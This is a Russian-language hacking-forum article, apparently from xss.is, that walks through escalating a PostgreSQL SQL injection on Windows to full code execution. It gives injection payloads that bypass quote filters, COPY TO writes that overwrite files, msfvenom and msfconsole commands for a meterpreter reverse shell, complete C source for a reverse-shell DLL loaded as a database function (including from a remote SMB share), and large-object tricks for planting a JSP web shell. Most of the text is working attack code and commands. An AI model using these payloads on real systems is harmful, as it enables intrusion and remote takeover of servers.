Шелл только через SELECT в PostgreSQL и другие методы

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

./gcc​

Так как во множестве систем используется Windows, я решил проверить некоторые кейсы, связанные с PostgreSQL. Мне буквально недавно дали сервис на проверку, и такая ситуация: я вижу файл с данными от БД, но так как БД открыта только локально, не подключиться. Естественно, у меня был исходный код и доступ к серверу, но ничего на тот момент не пришло в голову. Короче, эта статья о том, что можно проверить, если у вас похожий тупик.

Система, описанная в этой статье, принадлежит мне и приведена как пример к случаю, описанному выше.

Мой лимит и мои возможности​

У меня обычная слепая SQL-инъекция, пустая страница, так что могу использовать time-based атаки и могу использовать UNION. Представим, что наш запрос таков:
Код: Скопировать в буфер обмена
SELECT name, surname FROM users WHERE name = {n}
Уязвимость у нас в части с {n}, нужно понять возможности PostgreSQL. Начнём с того, одно из замечательных преимуществ SQL-инъекций в PostgreSQL заключается в том, что они позволяют выполнять стековые запросы, записать данные при помощи COPY TO или создать функцию, воспользовавшись какой-то библиотекой.

Сервисов было два, в одном я не мог воспользоваться ;, ' и ", а в другом мог только ;. Также во втором случае инъекция не была слепой, но именно для этих техник это не имеет значения.

SQLi​

COPY TO​

Главная разница между двумя сервисами — это stacked queries. Итак, обе уязвимости в сервисах, которые работают на Windows, так что у меня два варианта: либо загрузить JSP, либо какой-то .bat или .vbs, который рано или поздно сработает.

У меня нет никакого опыта с Windows; чтобы вы знали, я недавно понял, что PowerShell принимает команды типа ls. Первым делом я попытался найти аналог cron в Windows, нашёл, но файлы там никак не отредактировать — нужно особое разрешение (C:\Windows\System32).
Код: Скопировать в буфер обмена
schtasks /query /v /fo LIST | findstr /i ".bat .vbs"
Так что это трогать я не буду. В системе был установлен какой-то отдельный .jar, который предотвращал выполнение файлов типа JSP. Я могу удалить или изменить этот файл. У меня в таких случаях два выбора: отредактировать .jar и загрузить на сервер либо:
Код: Скопировать в буфер обмена
copy (select '') to 'C:\....\JSPComp.jar';
Представим, что нам нужно удалить JSPComp.jar (, единственное ограничение — это кавычки. Значит, кое-что очень странное в этой системе: она не принимала первое значение внутри $$ или $ТАГ$, а просто принимала её как %27, но просто ' давало ошибку. А во всех остальных значениях работало только $$ или $ТАГ$. История с тегами была описана в этой документации: https://www.postgresql.org/docs/9.2/sql-syntax-lexical.html
Долларовое цитирование ($$) позволяет записывать текст без экранирования кавычек. Также можно применять долларовое цитирование с уникальными тегами для упрощения работы с вложенными структурами, будь то $XSS$ или старый добрый $ТАГ$.

Так что запрос выглядит примерно так:
Код: Скопировать в буфер обмена
Код:
SELECT name, surname FROM users WHERE name = 'Xm'; copy (select $XSS$Xm$XSS$) to 'C:\...\JSPComp.jar';

http://local/?name=%27Xm%27;+copy+(select+$XSS$Xm$XSS$)+to$$C:\...\JSPComp.jar$$;--+-

1732724213333.png


Изображение [1]​
Похожая проблема также в CVE-2023-25157 (GeoServer). Там используется CQL filter, который просто не принимает кавычки или ;, так что вместо них можно использовать \$\$ или %27 (на данный момент я не смотрел, зачем так):
Код: Скопировать в буфер обмена
Код:
Was expecting one of:
    ")" ...
    "," ...
    "/" ...
    "*" ...
    " " ...
    "-" ...
После того как .jar, который не давал выполнять JSP, удалён или изменён, после рестарта самого приложения JSP сработал, можно загрузить его по такой же логике через COPY TO.

Однако в некоторых приложениях, особенно тех, которые используют корпорации, есть некоторые кастомные VBS, которые можно просто отредактировать и вставить свой шелл.

Получаем VBS:
Код: Скопировать в буфер обмена
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.121.19 LPORT=4444 -e x86/shikata_ga_nai -f vbs
Ждём шелл
Код: Скопировать в буфер обмена
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run; exit -y"

1732724233549.png


Изображение [2]​
Так как я буду пользоваться этим VBS, для удобства можно перевести его в однострочку. В VBS символ подчеркивания (_) используется как символ продолжения строки. Он позволяет разделить одну логическую строку кода на несколько физических строк (то есть перенос строки). Можно сделать это в Notepad++ через регулярные выражения.
Код: Скопировать в буфер обмена
Код:
Replace:
_\r?\n
With:
(тут пусто)
Replace:
\r\n
With:
:
Replace:
\t
With:
(тут пусто)
Переводим в хекс:
Код: Скопировать в буфер обмена
xxd -p -c 99999 test.vbs > output.hex
Можно воспользоваться следующим запросом, и всё должно сработать. Кроме hex, можно также воспользоваться base64:
Код: Скопировать в буфер обмена
COPY ( SELECT regexp_replace( convert_from(decode('', 'hex'), 'utf-8'), '\n', '', 'g' ) ) TO 'C:\....\1.vbs';

1732724279233.png


Изображение [3]​

Библиотеки​

Тема с библиотеками для меня такова: либо беру уже готовый код и всё работает, либо редактирую готовый код с помощью GPT. Нужно просто поднять сервис в той же ОС и проверить, работает ли всё. Здесь уже есть пример библиотеки: https://book.hacktricks.xyz/pentest...esql-injection/rce-with-postgresql-extensions
В некоторых местах утверждают, что можно загружать библиотеку извне, но это возможно только в Windows и только в том случае, если можно открыть Samba, которая доступна извне. Особенность Windows, как я понял.

В целом есть три способа загрузки файла: один через COPY TO (напрямую, описал выше), другой через Samba, а третий через любой файл, например фото (описал в третьей части статьи).

В качестве примера возьму простой реверс-шелл:
Код: Скопировать в буфер обмена
Код:
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <winsock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);

WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;

Datum
connect_back(PG_FUNCTION_ARGS)
{
    /* convert C string to text pointer */
    #define GET_TEXT(cstrp) \
        DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))

    /* convert text pointer to C string */
    #define GET_STR(textp) \
        DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

    hax.sin_family = AF_INET;
    /* Сюда PORT */
    hax.sin_port = htons(4444);
    /* Сюда IP */
    hax.sin_addr.s_addr = inet_addr("127.0.0.1");

    WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&sui, 0, sizeof(sui));
    sui.cb = sizeof(sui);
    sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
    sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;

    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
    PG_RETURN_VOID();
}
Учтите, что дело не только в загрузке DLL, есть вероятность того, что она не сработает — это зависит от разрешений пользователя postgres/Network Service.
...Много много времени спустя...
(Если что, у меня установлены Visual Studio Build Tools в Windows Server 2012 с PostgreSQL 9, конфигурацию делал не я.)

1732724352271.png


Изображение [4]

1732724416147.png


Изображение [5]​
Код: Скопировать в буфер обмена
Код:
create or replace function xss() returns void as $$...\xss.dll$$, $$connect_back$$ language C strict;
SELECT xss();

1732724443385.png


Изображение [6]​
Итак, через CREATE можно, как выше, выполнить:
Код: Скопировать в буфер обмена
Код:
там где у нас xss.dll
sudo impacket-smbserver xss .
В том сервере
create or replace function xss() returns void as $$\\192.168.21.18\xss\xss.dll$$, $$connect_back$$ language C strict;
SELECT xss();
1732724466543.png


Изображение [7]
Всё потому, что Windows всё ещё поддерживает поиск по SMB через файловый менеджер. В Linux такого нет. Я не знаю, почему пишут, что PostgreSQL поддерживает эту функциональность, когда это из-за особенностей Windows.

Large Objects​

PostgreSQL предоставляет структуру под названием "большой объект" (large object), которая используется для хранения данных, с которыми трудно работать целиком. Большие объекты (LOB), такие как BLOB (Binary Large Object) и CLOB (Character Large Object), предназначены для хранения больших объемов данных, включая изображения, файлы или крупный текст. В отличие от функции COPY TO, преимущество больших объектов заключается в том, что их содержимое можно экспортировать обратно в файловую систему как идентичную копию исходного импортированного файла.

pg_largeobject — это системный каталог PostgreSQL, который хранит данные больших объектов. Каждый большой объект разбит на страницы фиксированного размера (обычно 2048 байт), и каждая страница хранится как отдельная запись в таблице pg_largeobject. Основные поля этого каталога: loid (идентификатор), pageno (номер страницы внутри большого объекта.), data (содержимое страницы).

lo_import — используется для импорта файла в качестве большого объекта. Она принимает путь к файлу на сервере и возвращает идентификатор большого объекта (loid).

lo_export — используется для экспорта большого объекта из базы данных в файл на сервере. Она принимает идентификатор большого объекта и путь к файлу, куда данные будут экспортированы.

Традиционно, мы должны создать большой объект, который будет содержать нашу бинарную полезную нагрузку (нашу пользовательскую DLL), экспортировать этот большой объект в файловую систему удалённого сервера, создать UDF Postgres, который будет использовать экспортированную DLL как источник и запустить UDF и выполнить произвольный код.

Код: Скопировать в буфер обмена
Код:
select lo_import('C:\\Windows\\test.vbs', 1);
update pg_largeobject set data=decode('{HEX}', 'hex') where loid=1;
select lo_export(1, 'C:\\1.vbs');
Есть такая тема: если вы можете загрузить любой файл, будь то фото, внутри которого находится JSP, то только через SELECT можно загрузить веб-шелл. Нужно знать директорию, в которую попала фотография:
Код: Скопировать в буфер обмена
Код:
select lo_import('C:\...\test.jpg', 1);
select lo_export(1, 'C:\..\test.jsp');

1732724512147.png


Изображение [8]

1732724529997.png


Изображение [9]
Если такой возможности нет, то вам придётся играть с лимитом загрузки LOB (вроде 2 КБ) и загружать файл по страницам. Номер страницы (pageno) указывает позицию страницы внутри большого объекта. Он начинается с 0 и увеличивается на единицу для каждой последующей страницы.

Заключение​

В данной статье я постарался раскрыть возможности PostgreSQL при наличии SQL-инъекций на примере Windows-систем. Рассмотрены подходы к эксплуатации уязвимостей, включая работу с файловой системой, загрузку библиотек, создание реверс-шеллов, а также использование механизмов больших объектов (Large Objects). Все описанные методы требуют наличия определённых условий, таких как права пользователя, возможность использовать стек запросов и тп.

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу